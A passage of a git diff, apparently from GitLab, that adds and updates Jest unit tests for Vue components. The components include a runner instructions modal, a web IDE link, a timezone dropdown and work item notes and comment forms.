+ describe('errors', () => {
+ it('should show an alert when platforms cannot be loaded', async () => {
+ runnerPlatformsHandler.mockRejectedValue();
createComponent();
await waitForPromises();
- });
- it('should show alert', () => {
expect(findAlert().exists()).toBe(true);
});
- it('should not show instructions', () => {
- expect(findBinaryInstructions().exists()).toBe(false);
- expect(findRegisterCommand().exists()).toBe(false);
+ it('should show alert when instructions cannot be loaded', async () => {
+ createComponent();
+ await waitForPromises();
+
+ findRunnerCliInstructions().vm.$emit('error');
+ await waitForPromises();
+
+ expect(findAlert().exists()).toBe(true);
+
+ findAlert().vm.$emit('dismiss');
+ await nextTick();
+
+ expect(findAlert().exists()).toBe(false);
});
});
@@ -312,14 +233,16 @@ describe('RunnerInstructionsModal component', () => {
describe('show()', () => {
let mockShow;
+ let mockClose;
beforeEach(() => {
mockShow = jest.fn();
+ mockClose = jest.fn();
createComponent({
shown: false,
stubs: {
- GlModal: getGlModalStub({ show: mockShow }),
+ GlModal: getGlModalStub({ show: mockShow, close: mockClose }),
},
});
});
@@ -329,6 +252,12 @@ describe('RunnerInstructionsModal component', () => {
expect(mockShow).toHaveBeenCalledTimes(1);
});
+
+ it('delegates close()', () => {
+ wrapper.vm.close();
+
+ expect(mockClose).toHaveBeenCalledTimes(1);
+ });
});
});
});
diff --git a/spec/frontend/vue_shared/components/source_viewer/source_viewer_spec.js b/spec/frontend/vue_shared/components/source_viewer/source_viewer_spec.js
index 33f370efdfa..5461d38599d 100644
--- a/spec/frontend/vue_shared/components/source_viewer/source_viewer_spec.js
+++ b/spec/frontend/vue_shared/components/source_viewer/source_viewer_spec.js
@@ -90,6 +90,17 @@ describe('Source Viewer component', () => {
});
});
+ describe('legacy fallbacks', () => {
+ it('tracks a fallback event and emits an error when viewing python files', () => {
+ const fallbackLanguage = 'python';
+ const eventData = { label: EVENT_LABEL_FALLBACK, property: fallbackLanguage };
+ createComponent({ language: fallbackLanguage });
+
+ expect(Tracking.event).toHaveBeenCalledWith(undefined, EVENT_ACTION, eventData);
+ expect(wrapper.emitted('error')).toHaveLength(1);
+ });
+ });
+
describe('highlight.js', () => {
beforeEach(() => createComponent({ language: mappedLanguage }));
@@ -114,10 +125,10 @@ describe('Source Viewer component', () => {
});
it('correctly maps languages starting with uppercase', async () => {
- await createComponent({ language: 'Python3' });
- const languageDefinition = await import(`highlight.js/lib/languages/python`);
+ await createComponent({ language: 'Ruby' });
+ const languageDefinition = await import(`highlight.js/lib/languages/ruby`);
- expect(hljs.registerLanguage).toHaveBeenCalledWith('python', languageDefinition.default);
+ expect(hljs.registerLanguage).toHaveBeenCalledWith('ruby', languageDefinition.default);
});
it('highlights the first chunk', () => {
diff --git a/spec/frontend/vue_shared/components/timezone_dropdown/timezone_dropdown_spec.js b/spec/frontend/vue_shared/components/timezone_dropdown/timezone_dropdown_spec.js
index e5f56c63031..c8351ed61d7 100644
--- a/spec/frontend/vue_shared/components/timezone_dropdown/timezone_dropdown_spec.js
+++ b/spec/frontend/vue_shared/components/timezone_dropdown/timezone_dropdown_spec.js
@@ -1,4 +1,5 @@
import { GlDropdownItem, GlDropdown } from '@gitlab/ui';
+import { nextTick } from 'vue';
import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
import TimezoneDropdown from '~/vue_shared/components/timezone_dropdown/timezone_dropdown.vue';
import { formatTimezone } from '~/lib/utils/datetime_utility';
@@ -105,7 +106,14 @@ describe('Deploy freeze timezone dropdown', () => {
});
it('renders selected time zone as dropdown label', () => {
- expect(wrapper.findComponent(GlDropdown).props().text).toBe('[UTC + 2] Berlin');
+ expect(wrapper.findComponent(GlDropdown).props().text).toBe('[UTC+2] Berlin');
+ });
+
+ it('adds a checkmark to the selected option', async () => {
+ const selectedTZOption = findAllDropdownItems().at(0);
+ selectedTZOption.vm.$emit('click');
+ await nextTick();
+ expect(selectedTZOption.attributes('ischecked')).toBe('true');
});
});
});
diff --git a/spec/frontend/vue_shared/components/web_ide_link_spec.js b/spec/frontend/vue_shared/components/web_ide_link_spec.js
index 3b0f0fe6e73..2a0d2089fe3 100644
--- a/spec/frontend/vue_shared/components/web_ide_link_spec.js
+++ b/spec/frontend/vue_shared/components/web_ide_link_spec.js
@@ -7,15 +7,19 @@ import WebIdeLink, {
i18n,
PREFERRED_EDITOR_RESET_KEY,
PREFERRED_EDITOR_KEY,
- KEY_WEB_IDE,
} from '~/vue_shared/components/web_ide_link.vue';
import ConfirmForkModal from '~/vue_shared/components/confirm_fork_modal.vue';
import UserCalloutDismisser from '~/vue_shared/components/user_callout_dismisser.vue';
+import { KEY_WEB_IDE } from '~/vue_shared/components/constants';
import { stubComponent } from 'helpers/stub_component';
import { shallowMountExtended, mountExtended } from 'helpers/vue_test_utils_helper';
import { useLocalStorageSpy } from 'helpers/local_storage_helper';
+import { visitUrl } from '~/lib/utils/url_utility';
+
+jest.mock('~/lib/utils/url_utility');
+
const TEST_EDIT_URL = '/gitlab-test/test/-/edit/main/';
const TEST_WEB_IDE_URL = '/-/ide/project/gitlab-test/test/edit/main/-/';
const TEST_GITPOD_URL = 'https://gitpod.test/';
@@ -52,6 +56,7 @@ const ACTION_WEB_IDE = {
'data-track-action': 'click_consolidated_edit_ide',
'data-track-label': 'web_ide',
},
+ handle: expect.any(Function),
};
const ACTION_WEB_IDE_CONFIRM_FORK = {
...ACTION_WEB_IDE,
@@ -258,6 +263,14 @@ describe('Web IDE link component', () => {
selectedKey: ACTION_PIPELINE_EDITOR.key,
});
});
+
+ it('when web ide button is clicked it opens in a new tab', async () => {
+ findActionsButton().props('actions')[1].handle({
+ preventDefault: jest.fn(),
+ });
+ await nextTick();
+ expect(visitUrl).toHaveBeenCalledWith(ACTION_WEB_IDE.href, true);
+ });
});
describe('with multiple actions', () => {
diff --git a/spec/frontend/vue_shared/issuable/show/components/issuable_edit_form_spec.js b/spec/frontend/vue_shared/issuable/show/components/issuable_edit_form_spec.js
index e5594b6d37e..159be4cd1ef 100644
--- a/spec/frontend/vue_shared/issuable/show/components/issuable_edit_form_spec.js
+++ b/spec/frontend/vue_shared/issuable/show/components/issuable_edit_form_spec.js
@@ -5,9 +5,12 @@ import { nextTick } from 'vue';
import IssuableEditForm from '~/vue_shared/issuable/show/components/issuable_edit_form.vue';
import IssuableEventHub from '~/vue_shared/issuable/show/event_hub';
import MarkdownField from '~/vue_shared/components/markdown/field.vue';
+import Autosave from '~/autosave';
import { mockIssuableShowProps, mockIssuable } from '../mock_data';
+jest.mock('~/autosave');
+
const issuableEditFormProps = {
issuable: mockIssuable,
...mockIssuableShowProps,
@@ -36,10 +39,12 @@ describe('IssuableEditForm', () => {
beforeEach(() => {
wrapper = createComponent();
+ jest.spyOn(Autosave.prototype, 'reset');
});
afterEach(() => {
wrapper.destroy();
+ jest.resetAllMocks();
});
describe('watch', () => {
@@ -100,21 +105,18 @@ describe('IssuableEditForm', () => {
describe('methods', () => {
describe('initAutosave', () => {
- it('initializes `autosaveTitle` and `autosaveDescription` props', () => {
- expect(wrapper.vm.autosaveTitle).toBeDefined();
- expect(wrapper.vm.autosaveDescription).toBeDefined();
+ it('initializes autosave', () => {
+ expect(Autosave.mock.calls).toEqual([
+ [expect.any(Element), ['/', '', 'title']],
+ [expect.any(Element), ['/', '', 'description']],
+ ]);
});
});
describe('resetAutosave', () => {
- it('calls `reset` on `autosaveTitle` and `autosaveDescription` props', () => {
- jest.spyOn(wrapper.vm.autosaveTitle, 'reset').mockImplementation(jest.fn);
- jest.spyOn(wrapper.vm.autosaveDescription, 'reset').mockImplementation(jest.fn);
-
- wrapper.vm.resetAutosave();
-
- expect(wrapper.vm.autosaveTitle.reset).toHaveBeenCalled();
- expect(wrapper.vm.autosaveDescription.reset).toHaveBeenCalled();
+ it('resets title and description on "update.issuable event"', () => {
+ IssuableEventHub.$emit('update.issuable');
+ expect(Autosave.prototype.reset.mock.calls).toEqual([[], []]);
});
});
});
diff --git a/spec/frontend/work_items/components/notes/__snapshots__/work_item_note_body_spec.js.snap b/spec/frontend/work_items/components/notes/__snapshots__/work_item_note_body_spec.js.snap
new file mode 100644
index 00000000000..52838dcd0bc
--- /dev/null
+++ b/spec/frontend/work_items/components/notes/__snapshots__/work_item_note_body_spec.js.snap
@@ -0,0 +1,9 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`Work Item Note Body should have the wrapper to show the note body 1`] = `
+"<div data-testid=\\"work-item-note-body\\" class=\\"note-text md\\">
+ <p dir=\\"auto\\" data-sourcepos=\\"1:1-1:76\\">
+ <gl-emoji data-unicode-version=\\"6.0\\" data-name=\\"wave\\" title=\\"waving hand sign\\">👋</gl-emoji> Hi <a title=\\"Sherie Nitzsche\\" class=\\"gfm gfm-project_member js-user-link\\" data-placement=\\"top\\" data-container=\\"body\\" data-user=\\"3\\" data-reference-type=\\"user\\" href=\\"/fredda.brekke\\">@fredda.brekke</a> How are you ? what do you think about this ? <gl-emoji data-unicode-version=\\"6.0\\" data-name=\\"pray\\" title=\\"person with folded hands\\">ðŸ™</gl-emoji>
+ </p>
+</div>"
+`;
diff --git a/spec/frontend/work_items/components/notes/activity_filter_spec.js b/spec/frontend/work_items/components/notes/activity_filter_spec.js
new file mode 100644
index 00000000000..eb4bcbf942b
--- /dev/null
+++ b/spec/frontend/work_items/components/notes/activity_filter_spec.js
@@ -0,0 +1,74 @@
+import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
+import { nextTick } from 'vue';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import ActivityFilter from '~/work_items/components/notes/activity_filter.vue';
+import LocalStorageSync from '~/vue_shared/components/local_storage_sync.vue';
+import { ASC, DESC } from '~/notes/constants';
+
+import { mockTracking } from 'helpers/tracking_helper';
+import { TRACKING_CATEGORY_SHOW } from '~/work_items/constants';
+
+describe('Activity Filter', () => {
+ let wrapper;
+
+ const findLocalStorageSync = () => wrapper.findComponent(LocalStorageSync);
+ const findDropdown = () => wrapper.findComponent(GlDropdown);
+ const findAllDropdownItems = () => wrapper.findAllComponents(GlDropdownItem);
+ const findNewestFirstItem = () => wrapper.findByTestId('js-newest-first');
+
+ const createComponent = ({ sortOrder = ASC, loading = false, workItemType = 'Task' } = {}) => {
+ wrapper = shallowMountExtended(ActivityFilter, {
+ propsData: {
+ sortOrder,
+ loading,
+ workItemType,
+ },
+ });
+ };
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ describe('default', () => {
+ it('has a dropdown with 2 options', () => {
+ expect(findDropdown().exists()).toBe(true);
+ expect(findAllDropdownItems()).toHaveLength(ActivityFilter.SORT_OPTIONS.length);
+ });
+
+ it('has local storage sync with the correct props', () => {
+ expect(findLocalStorageSync().props('asString')).toBe(true);
+ });
+
+ it('emits `updateSavedSortOrder` event when update is emitted', async () => {
+ findLocalStorageSync().vm.$emit('input', ASC);
+
+ await nextTick();
+ expect(wrapper.emitted('updateSavedSortOrder')).toHaveLength(1);
+ expect(wrapper.emitted('updateSavedSortOrder')).toEqual([[ASC]]);
+ });
+ });
+
+ describe('when asc', () => {
+ describe('when the dropdown is clicked', () => {
+ it('calls the right actions', async () => {
+ const trackingSpy = mockTracking(undefined, wrapper.element, jest.spyOn);
+ findNewestFirstItem().vm.$emit('click');
+ await nextTick();
+
+ expect(wrapper.emitted('changeSortOrder')).toHaveLength(1);
+ expect(wrapper.emitted('changeSortOrder')).toEqual([[DESC]]);
+
+ expect(trackingSpy).toHaveBeenCalledWith(
+ TRACKING_CATEGORY_SHOW,
+ 'notes_sort_order_changed',
+ {
+ category: TRACKING_CATEGORY_SHOW,
+ label: 'item_track_notes_sorting',
+ property: 'type_Task',
+ },
+ );
+ });
+ });
+ });
+});
diff --git a/spec/frontend/work_items/components/notes/work_item_note_body_spec.js b/spec/frontend/work_items/components/notes/work_item_note_body_spec.js
new file mode 100644
index 00000000000..4fcbcfcaf30
--- /dev/null
+++ b/spec/frontend/work_items/components/notes/work_item_note_body_spec.js
@@ -0,0 +1,32 @@
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import WorkItemNoteBody from '~/work_items/components/notes/work_item_note_body.vue';
+import NoteEditedText from '~/notes/components/note_edited_text.vue';
+import { mockWorkItemCommentNote } from 'jest/work_items/mock_data';
+
+describe('Work Item Note Body', () => {
+ let wrapper;
+
+ const findNoteBody = () => wrapper.findByTestId('work-item-note-body');
+ const findNoteEditedText = () => wrapper.findComponent(NoteEditedText);
+
+ const createComponent = ({ note = mockWorkItemCommentNote } = {}) => {
+ wrapper = shallowMountExtended(WorkItemNoteBody, {
+ propsData: {
+ note,
+ },
+ });
+ };
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('should have the wrapper to show the note body', () => {
+ expect(findNoteBody().exists()).toBe(true);
+ expect(findNoteBody().html()).toMatchSnapshot();
+ });
+
+ it('should not show the edited text when the value is not present', () => {
+ expect(findNoteEditedText().exists()).toBe(false);
+ });
+});
diff --git a/spec/frontend/work_items/components/notes/work_item_note_spec.js b/spec/frontend/work_items/components/notes/work_item_note_spec.js
new file mode 100644
index 00000000000..7257d5c8023
--- /dev/null
+++ b/spec/frontend/work_items/components/notes/work_item_note_spec.js
@@ -0,0 +1,53 @@
+import { GlAvatarLink, GlAvatar } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import TimelineEntryItem from '~/vue_shared/components/notes/timeline_entry_item.vue';
+import WorkItemNote from '~/work_items/components/notes/work_item_note.vue';
+import NoteBody from '~/work_items/components/notes/work_item_note_body.vue';
+import NoteHeader from '~/notes/components/note_header.vue';
+import { mockWorkItemCommentNote } from 'jest/work_items/mock_data';
+
+describe('Work Item Note', () => {
+ let wrapper;
+
+ const findTimelineEntryItem = () => wrapper.findComponent(TimelineEntryItem);
+ const findNoteHeader = () => wrapper.findComponent(NoteHeader);
+ const findNoteBody = () => wrapper.findComponent(NoteBody);
+ const findAvatarLink = () => wrapper.findComponent(GlAvatarLink);
+ const findAvatar = () => wrapper.findComponent(GlAvatar);
+
+ const createComponent = ({ note = mockWorkItemCommentNote } = {}) => {
+ wrapper = shallowMount(WorkItemNote, {
+ propsData: {
+ note,
+ },
+ });
+ };
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('Should be wrapped inside the timeline entry item', () => {
+ expect(findTimelineEntryItem().exists()).toBe(true);
+ });
+
+ it('should have the author avatar of the work item note', () => {
+ expect(findAvatarLink().exists()).toBe(true);
+ expect(findAvatarLink().attributes('href')).toBe(mockWorkItemCommentNote.author.webUrl);
+
+ expect(findAvatar().exists()).toBe(true);
+ expect(findAvatar().props('src')).toBe(mockWorkItemCommentNote.author.avatarUrl);
+ expect(findAvatar().props('entityName')).toBe(mockWorkItemCommentNote.author.username);
+ });
+
+ it('has note header', () => {
+ expect(findNoteHeader().exists()).toBe(true);
+ expect(findNoteHeader().props('author')).toEqual(mockWorkItemCommentNote.author);
+ expect(findNoteHeader().props('createdAt')).toBe(mockWorkItemCommentNote.createdAt);
+ });
+
+ it('has note body', () => {
+ expect(findNoteBody().exists()).toBe(true);
+ expect(findNoteBody().props('note')).toEqual(mockWorkItemCommentNote);
+ });
+});
diff --git a/spec/frontend/work_items/components/work_item_comment_form_spec.js b/spec/frontend/work_items/components/work_item_comment_form_spec.js
new file mode 100644
index 00000000000..07c00119398
--- /dev/null
+++ b/spec/frontend/work_items/components/work_item_comment_form_spec.js
@@ -0,0 +1,205 @@
+import { GlButton } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import { mockTracking } from 'helpers/tracking_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import { updateDraft } from '~/lib/utils/autosave';
+import MarkdownField from '~/vue_shared/components/markdown/field.vue';
+import MarkdownEditor from '~/vue_shared/components/markdown/markdown_editor.vue';
+import WorkItemCommentForm from '~/work_items/components/work_item_comment_form.vue';
+import WorkItemCommentLocked from '~/work_items/components/work_item_comment_locked.vue';
+import createNoteMutation from '~/work_items/graphql/create_work_item_note.mutation.graphql';
+import { TRACKING_CATEGORY_SHOW } from '~/work_items/constants';
+import workItemQuery from '~/work_items/graphql/work_item.query.graphql';
+import workItemByIidQuery from '~/work_items/graphql/work_item_by_iid.query.graphql';
+import {
+ workItemResponseFactory,
+ workItemQueryResponse,
+ projectWorkItemResponse,
+ createWorkItemNoteResponse,
+} from '../mock_data';
+
+jest.mock('~/lib/utils/confirm_via_gl_modal/confirm_via_gl_modal');
+jest.mock('~/lib/utils/autosave');
+
+const workItemId = workItemQueryResponse.data.workItem.id;
+
+describe('WorkItemCommentForm', () => {
+ let wrapper;
+
+ Vue.use(VueApollo);
+
+ const mutationSuccessHandler = jest.fn().mockResolvedValue(createWorkItemNoteResponse);
+ const workItemByIidResponseHandler = jest.fn().mockResolvedValue(projectWorkItemResponse);
+ let workItemResponseHandler;
+
+ const findMarkdownEditor = () => wrapper.findComponent(MarkdownEditor);
+
+ const setText = (newText) => {
+ return findMarkdownEditor().vm.$emit('input', newText);
+ };
+
+ const clickSave = () =>
+ wrapper
+ .findAllComponents(GlButton)
+ .filter((button) => button.text().startsWith('Comment'))
+ .at(0)
+ .vm.$emit('click', {});
+
+ const createComponent = async ({
+ mutationHandler = mutationSuccessHandler,
+ canUpdate = true,
+ workItemResponse = workItemResponseFactory({ canUpdate }),
+ queryVariables = { id: workItemId },
+ fetchByIid = false,
+ signedIn = true,
+ isEditing = true,
+ } = {}) => {
+ workItemResponseHandler = jest.fn().mockResolvedValue(workItemResponse);
+
+ if (signedIn) {
+ window.gon.current_user_id = '1';
+ window.gon.current_user_avatar_url = 'avatar.png';
+ }
+
+ const { id } = workItemQueryResponse.data.workItem;
+ wrapper = shallowMount(WorkItemCommentForm, {
+ apolloProvider: createMockApollo([
+ [workItemQuery, workItemResponseHandler],
+ [createNoteMutation, mutationHandler],
+ [workItemByIidQuery, workItemByIidResponseHandler],
+ ]),
+ propsData: {
+ workItemId: id,
+ fullPath: 'test-project-path',
+ queryVariables,
+ fetchByIid,
+ },
+ stubs: {
+ MarkdownField,
+ WorkItemCommentLocked,
+ },
+ });
+
+ await waitForPromises();
+
+ if (isEditing) {
+ wrapper.findComponent(GlButton).vm.$emit('click');
+ }
+ };
+
+ describe('adding a comment', () => {
+ it('calls update widgets mutation', async () => {
+ const noteText = 'updated desc';
+
+ await createComponent({
+ isEditing: true,
+ signedIn: true,
+ });
+
+ setText(noteText);
+
+ clickSave();
+
+ await waitForPromises();
+
+ expect(mutationSuccessHandler).toHaveBeenCalledWith({
+ input: {
+ noteableId: workItemId,
+ body: noteText,
+ },
+ });
+ });
+
+ it('tracks adding comment', async () => {
+ await createComponent();
+ const trackingSpy = mockTracking(undefined, wrapper.element, jest.spyOn);
+
+ setText('test');
+
+ clickSave();
+
+ await waitForPromises();
+
+ expect(trackingSpy).toHaveBeenCalledWith(TRACKING_CATEGORY_SHOW, 'add_work_item_comment', {
+ category: TRACKING_CATEGORY_SHOW,
+ label: 'item_comment',
+ property: 'type_Task',
+ });
+ });
+
+ it('emits error when mutation returns error', async () => {
+ const error = 'eror';
+
+ await createComponent({
+ isEditing: true,
+ mutationHandler: jest.fn().mockResolvedValue({
+ data: {
+ createNote: {
+ note: null,
+ errors: [error],
+ },
+ },
+ }),
+ });
+
+ setText('updated desc');
+
+ clickSave();
+
+ await waitForPromises();
+
+ expect(wrapper.emitted('error')).toEqual([[error]]);
+ });
+
+ it('emits error when mutation fails', async () => {
+ const error = 'eror';
+
+ await createComponent({
+ isEditing: true,
+ mutationHandler: jest.fn().mockRejectedValue(new Error(error)),
+ });
+
+ setText('updated desc');
+
+ clickSave();
+
+ await waitForPromises();
+
+ expect(wrapper.emitted('error')).toEqual([[error]]);
+ });
+
+ it('autosaves', async () => {
+ await createComponent({
+ isEditing: true,
+ });
+
+ setText('updated');
+
+ expect(updateDraft).toHaveBeenCalled();
+ });
+ });
+
+ it('calls the global ID work item query when `fetchByIid` prop is false', async () => {
+ createComponent({ fetchByIid: false });
+ await waitForPromises();
+
+ expect(workItemResponseHandler).toHaveBeenCalled();
+ expect(workItemByIidResponseHandler).not.toHaveBeenCalled();
+ });
+
+ it('calls the IID work item query when when `fetchByIid` prop is true', async () => {
+ await createComponent({ fetchByIid: true, isEditing: false });
+
+ expect(workItemResponseHandler).not.toHaveBeenCalled();
+ expect(workItemByIidResponseHandler).toHaveBeenCalled();
+ });
+
+ it('skips calling the handlers when missing the needed queryVariables', async () => {
+ await createComponent({ queryVariables: {}, fetchByIid: false, isEditing: false });
+
+ expect(workItemResponseHandler).not.toHaveBeenCalled();
+ });
+});
diff --git a/spec/frontend/work_items/components/work_item_comment_locked_spec.js b/spec/frontend/work_items/components/work_item_comment_locked_spec.js
new file mode 100644
index 00000000000..58491c4b09c
--- /dev/null
+++ b/spec/frontend/work_items/components/work_item_comment_locked_spec.js
@@ -0,0 +1,41 @@
+import { GlLink, GlIcon } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import WorkItemCommentLocked from '~/work_items/components/work_item_comment_locked.vue';
+
+const createComponent = ({ workItemType = 'Task', isProjectArchived = false } = {}) =>
+ shallowMount(WorkItemCommentLocked, {
+ propsData: {
+ workItemType,
+ isProjectArchived,
+ },
+ });
+
+describe('WorkItemCommentLocked', () => {
+ let wrapper;
+ const findLockedIcon = () => wrapper.findComponent(GlIcon);
+ const findLearnMoreLink = () => wrapper.findComponent(GlLink);
+
+ it('renders the locked icon', () => {
+ wrapper = createComponent();
+ expect(findLockedIcon().props('name')).toBe('lock');
+ });
+
+ it('has the learn more link', () => {
+ wrapper = createComponent();
+ expect(findLearnMoreLink().attributes('href')).toBe(
+ WorkItemCommentLocked.constantOptions.lockedIssueDocsPath,
+ );
+ });
+
+ describe('when the project is archived', () => {
+ beforeEach(() => {
+ wrapper = createComponent({ isProjectArchived: true });
+ });
+
+ it('learn more link is directed to archived project docs path', () => {
+ expect(findLearnMoreLink().attributes('href')).toBe(
+ WorkItemCommentLocked.constantOptions.archivedProjectDocsPath,
+ );
+ });
+ });
+});
diff --git a/spec/frontend/work_items/components/work_item_detail_modal_spec.js b/spec/frontend/work_items/components/work_item_detail_modal_spec.js
index 686641800b3..8976cd6e22b 100644
--- a/spec/frontend/work_items/components/work_item_detail_modal_spec.js
+++ b/spec/frontend/work_items/components/work_item_detail_modal_spec.js
@@ -4,10 +4,11 @@ import Vue, { nextTick } from 'vue';
import VueApollo from 'vue-apollo';
import waitForPromises from 'helpers/wait_for_promises';
import createMockApollo from 'helpers/mock_apollo_helper';
-import WorkItemDetail from '~/work_items/components/work_item_detail.vue';
+import { stubComponent } from 'helpers/stub_component';
import WorkItemDetailModal from '~/work_items/components/work_item_detail_modal.vue';
import deleteWorkItemFromTaskMutation from '~/work_items/graphql/delete_task_from_work_item.mutation.graphql';
import deleteWorkItemMutation from '~/work_items/graphql/delete_work_item.mutation.graphql';
+import WorkItemDetail from '~/work_items/components/work_item_detail.vue';
import {
deleteWorkItemFromTaskMutationErrorResponse,
deleteWorkItemFromTaskMutationResponse,
@@ -69,8 +70,14 @@ describe('WorkItemDetailModal component', () => {
error,
};
},
+ provide: {
+ fullPath: 'group/project',
+ },
stubs: {
GlModal,
+ WorkItemDetail: stubComponent(WorkItemDetail, {
+ apollo: {},
+ }),
},
});
};
@@ -126,6 +133,15 @@ describe('WorkItemDetailModal component', () => {
expect(closeSpy).toHaveBeenCalled();
});
+ it('updates the work item when WorkItemDetail emits `update-modal` event', async () => {
+ createComponent();
+
+ findWorkItemDetail().vm.$emit('update-modal', null, 'updatedId');
+ await waitForPromises();
+
+ expect(findWorkItemDetail().props().workItemId).toEqual('updatedId');
+ });
+
describe('delete work item', () => {
describe('when there is task data', () => {
it('emits workItemDeleted and closes modal', async () => {
diff --git a/spec/frontend/work_items/components/work_item_detail_spec.js b/spec/frontend/work_items/components/work_item_detail_spec.js
index bbab45c7055..a50a48de921 100644
--- a/spec/frontend/work_items/components/work_item_detail_spec.js
+++ b/spec/frontend/work_items/components/work_item_detail_spec.js
@@ -12,6 +12,7 @@ import VueApollo from 'vue-apollo';
import createMockApollo from 'helpers/mock_apollo_helper';
import waitForPromises from 'helpers/wait_for_promises';
import setWindowLocation from 'helpers/set_window_location_helper';
+import { stubComponent } from 'helpers/stub_component';
import WorkItemDetail from '~/work_items/components/work_item_detail.vue';
import WorkItemActions from '~/work_items/components/work_item_actions.vue';
import WorkItemDescription from '~/work_items/components/work_item_description.vue';
@@ -22,6 +23,8 @@ import WorkItemAssignees from '~/work_items/components/work_item_assignees.vue';
import WorkItemLabels from '~/work_items/components/work_item_labels.vue';
import WorkItemMilestone from '~/work_items/components/work_item_milestone.vue';
import WorkItemTree from '~/work_items/components/work_item_links/work_item_tree.vue';
+import WorkItemNotes from '~/work_items/components/work_item_notes.vue';
+import WorkItemDetailModal from '~/work_items/components/work_item_detail_modal.vue';
import { i18n } from '~/work_items/constants';
import workItemQuery from '~/work_items/graphql/work_item.query.graphql';
import workItemByIidQuery from '~/work_items/graphql/work_item_by_iid.query.graphql';
@@ -63,6 +66,7 @@ describe('WorkItemDetail component', () => {
const assigneesSubscriptionHandler = jest
.fn()
.mockResolvedValue(workItemAssigneesSubscriptionResponse);
+ const showModalHandler = jest.fn();
const findAlert = () => wrapper.findComponent(GlAlert);
const findEmptyState = () => wrapper.findComponent(GlEmptyState);
@@ -81,6 +85,8 @@ describe('WorkItemDetail component', () => {
const findCloseButton = () => wrapper.find('[data-testid="work-item-close"]');
const findWorkItemType = () => wrapper.find('[data-testid="work-item-type"]');
const findHierarchyTree = () => wrapper.findComponent(WorkItemTree);
+ const findNotesWidget = () => wrapper.findComponent(WorkItemNotes);
+ const findModal = () => wrapper.findComponent(WorkItemDetailModal);
const createComponent = ({
isModal = false,
@@ -129,6 +135,12 @@ describe('WorkItemDetail component', () => {
stubs: {
WorkItemWeight: true,
WorkItemIteration: true,
+ WorkItemHealthStatus: true,
+ WorkItemDetailModal: stubComponent(WorkItemDetailModal, {
+ methods: {
+ show: showModalHandler,
+ },
+ }),
},
});
};
@@ -652,15 +664,89 @@ describe('WorkItemDetail component', () => {
expect(findHierarchyTree().exists()).toBe(false);
});
- it('renders children tree when work item is an Objective', async () => {
+ describe('work item has children', () => {
const objectiveWorkItem = workItemResponseFactory({
workItemType: objectiveType,
+ confidential: true,
});
const handler = jest.fn().mockResolvedValue(objectiveWorkItem);
- createComponent({ handler });
+
+ it('renders children tree when work item is an Objective', async () => {
+ createComponent({ handler });
+ await waitForPromises();
+
+ expect(findHierarchyTree().exists()).toBe(true);
+ });
+
+ it('renders a modal', async () => {
+ createComponent({ handler });
+ await waitForPromises();
+
+ expect(findModal().exists()).toBe(true);
+ });
+
+ it('opens the modal with the child when `show-modal` is emitted', async () => {
+ createComponent({ handler });
+ await waitForPromises();
+
+ const event = {
+ preventDefault: jest.fn(),
+ };
+
+ findHierarchyTree().vm.$emit('show-modal', event, { id: 'childWorkItemId' });
+ await waitForPromises();
+
+ expect(wrapper.findComponent(WorkItemDetailModal).props().workItemId).toBe(
+ 'childWorkItemId',
+ );
+ expect(showModalHandler).toHaveBeenCalled();
+ });
+
+ describe('work item is rendered in a modal and has children', () => {
+ beforeEach(async () => {
+ createComponent({
+ isModal: true,
+ handler,
+ });
+
+ await waitForPromises();
+ });
+
+ it('does not render a new modal', () => {
+ expect(findModal().exists()).toBe(false);
+ });
+
+ it('emits `update-modal` when `show-modal` is emitted', async () => {
+ const event = {
+ preventDefault: jest.fn(),
+ };
+
+ findHierarchyTree().vm.$emit('show-modal', event, { id: 'childWorkItemId' });
+ await waitForPromises();
+
+ expect(wrapper.emitted('update-modal')).toBeDefined();
+ });
+ });
+ });
+ });
+
+ describe('notes widget', () => {
+ it('does not render notes by default', async () => {
+ createComponent();
+ await waitForPromises();
+
+ expect(findNotesWidget().exists()).toBe(false);
+ });
+
+ it('renders notes when the work_items_mvc flag is on', async () => {
+ const notesWorkItem = workItemResponseFactory({
+ notesWidgetPresent: true,
+ });
+ const handler = jest.fn().mockResolvedValue(notesWorkItem);
+ createComponent({ workItemsMvcEnabled: true, handler });
await waitForPromises();
- expect(findHierarchyTree().exists()).toBe(true);
+ expect(findNotesWidget().exists()).toBe(true);
});
});
});
diff --git a/spec/frontend/work_items/components/work_item_links/work_item_link_child_metadata_spec.js b/spec/frontend/work_items/components/work_item_links/work_item_link_child_metadata_spec.js
index 47489d4796b..e693ccfb156 100644
--- a/spec/frontend/work_items/components/work_item_links/work_item_link_child_metadata_spec.js
+++ b/spec/frontend/work_items/components/work_item_links/work_item_link_child_metadata_spec.js
@@ -5,23 +5,22 @@ import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
import ItemMilestone from '~/issuable/components/issue_milestone.vue';
import WorkItemLinkChildMetadata from '~/work_items/components/work_item_links/work_item_link_child_metadata.vue';
-import { mockMilestone, mockAssignees, mockLabels } from '../../mock_data';
+import { workItemObjectiveMetadataWidgets } from '../../mock_data';
describe('WorkItemLinkChildMetadata', () => {
+ const { MILESTONE, ASSIGNEES, LABELS } = workItemObjectiveMetadataWidgets;
+ const mockMilestone = MILESTONE.milestone;
+ const mockAssignees = ASSIGNEES.assignees.nodes;
+ const mockLabels = LABELS.labels.nodes;
let wrapper;
- const createComponent = ({
- allowsScopedLabels = true,
- milestone = mockMilestone,
- assignees = mockAssignees,
- labels = mockLabels,
- } = {}) => {
+ const createComponent = ({ metadataWidgets = workItemObjectiveMetadataWidgets } = {}) => {
wrapper = shallowMountExtended(WorkItemLinkChildMetadata, {
propsData: {
- allowsScopedLabels,
- milestone,
- assignees,
- labels,
+ metadataWidgets,
+ },
+ slots: {
+ default: `<div data-testid="default-slot">Foo</div>`,
},
});
};
